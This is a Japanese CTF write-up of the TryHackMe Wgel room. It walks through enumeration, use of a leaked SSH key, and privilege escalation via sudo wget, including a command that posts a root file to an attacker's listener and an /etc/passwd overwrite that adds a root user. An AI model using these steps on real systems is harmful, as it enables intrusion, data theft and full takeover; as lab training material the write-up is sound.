一部を■で隠しています。
第一段階:ユーザー権限
とりあえずnmapとgobusterしよう
$ export IP=[your IP] $ nmap -sC -sV $IP 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) $ gobuster dir -e -u http://$IP -w /usr/share/dirb/wordlists/common.txt http://$IP/sitemap (Status: 301)
ほう。/sitemap
というのがあるな。
訪れると無難なサイトが出てくる。
更にディレクトリリスティングしてみよう。
$ gobuster dir -e -u http://$IP/sitemap -w /usr/share/dirb/wordlists/common.txt http://$IP/sitemap/.ssh (Status: 301)
おお、これは…
もってきて、パスワード解析してみよう。
$ python2 /usr/share/john/ssh2john.py id_rsa > hash.txt id_rsa has no password!
なるほど?
ユーザー名がわからない。
hydraでは秘密鍵を使ったログインはできないので、それっぽいユーザー名が無いかサイトを散策してみる。
さがすと/
に<!-- Jessie don't forget to udate the webiste -->
とある。
jessieか。
$ ls -la total 112 drwxr-xr-x 17 jessie jessie 4096 oct 26 2019 . drwxr-xr-x 3 root root 4096 oct 26 2019 .. lrwxrwxrwx 1 root root 9 oct 26 2019 .bash_history -> /dev/null -rw-r--r-- 1 jessie jessie 220 oct 26 2019 .bash_logout -rw-r--r-- 1 jessie jessie 3771 oct 26 2019 .bashrc drwx------ 13 jessie jessie 4096 oct 26 2019 .cache drwx------ 15 jessie jessie 4096 oct 26 2019 .config drwxr-xr-x 2 jessie jessie 4096 oct 26 2019 Desktop -rw-r--r-- 1 jessie jessie 25 oct 26 2019 .dmrc drwxr-xr-x 2 jessie jessie 4096 oct 26 2019 Documents drwxr-xr-x 2 jessie jessie 4096 oct 26 2019 Downloads -rw-r--r-- 1 jessie jessie 8980 oct 26 2019 examples.desktop drwx------ 2 jessie jessie 4096 oct 26 2019 .gconf drwx------ 3 jessie jessie 4096 oct 26 2019 .gnupg -rw------- 1 jessie jessie 644 oct 26 2019 .ICEauthority drwx------ 3 jessie jessie 4096 oct 26 2019 .local drwxr-xr-x 5 jessie jessie 4096 oct 26 2019 .mozilla drwxr-xr-x 2 jessie jessie 4096 oct 26 2019 Music drwxr-xr-x 2 jessie jessie 4096 oct 26 2019 Pictures -rw-r--r-- 1 jessie jessie 655 oct 26 2019 .profile drwxr-xr-x 2 jessie jessie 4096 oct 26 2019 Public drwx------ 2 jessie jessie 4096 oct 26 2019 .ssh -rw-r--r-- 1 jessie jessie 0 oct 26 2019 .sudo_as_admin_successful drwxr-xr-x 2 jessie jessie 4096 oct 26 2019 Templates drwxr-xr-x 2 jessie jessie 4096 oct 26 2019 Videos -rw------- 1 jessie jessie 52 oct 26 2019 .Xauthority -rw------- 1 jessie jessie 1382 oct 26 2019 .xsession-errors -rw------- 1 jessie jessie 1232 oct 26 2019 .xsession-errors.old jessie@CorpOne:~$ cd Documents/ jessie@CorpOne:~/Documents$ ls user_flag.txt jessie@CorpOne:~/Documents$ cat user_flag.txt ■■■■■■■■■■■■■■■■■■■■■■■■■■
第二段階:権限昇格
$ sudo -l Matching Defaults entries for jessie on CorpOne: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User jessie may run the following commands on CorpOne: (ALL : ALL) ALL (root) NOPASSWD: /usr/bin/wget
wgetがSUDOで動いているので使えそう。
だが、wget | GTFOBinsを見ても歯切れが悪い。
今までのように一発KOという感じではなさそうだ。
wget on sudo
色々調べると以下のようなことができるらしい。
- ルート権限でファイルをダウンロードする
- 受け取り側で
nc -lvp 80
で待つ -
sudo wget --post-file=[filepath] [送信先]
で持ってくる
- 受け取り側で
- ルート権限でファイルをアップロードできる
- 送り側で
python -m http.server 80
する -
sudo wget -O [保存先パス] http://[your IP]/[送信ファイルパス]
- 送り側で
ファイルの場所と名前は推測できるな。/root/root_flag.txt
だろう。 実際にやってみると、フラグが得られる。
nc -lvp 80
で待ってsudo wget --post-file=/root/toot_flag.txt [your IP]
とすると出てくる。
Writeupsを見てみつけたもの
Wgel CTF — TryHackMe. I start by enumerating the target with… | by Stefano Pancioni | Medium
任意のファイルがアップロードできることを利用してユーザーを追加し、root権限を持ったユーザーでログインするというもの。
- /etc/passwdを持ってくる(ルート権限でファイルをダウンロードするやつをつかう)
- 末尾に
flag:$1$flag$ewuvWx1i4md.ReHwJGGGo0:0:0:root:/root:/bin/bash
を追加する(パスワード部分はopenssl passwd -1 -salt flag
でパスワードをpasswordにして作ったもの) - それを/etc/passwdに入れなおす(ルート権限でファイルをアップロードするやつをつかう)
su flag
として、パスワードをpassword
にするとroot権限でログインできる
なるほどなぁ…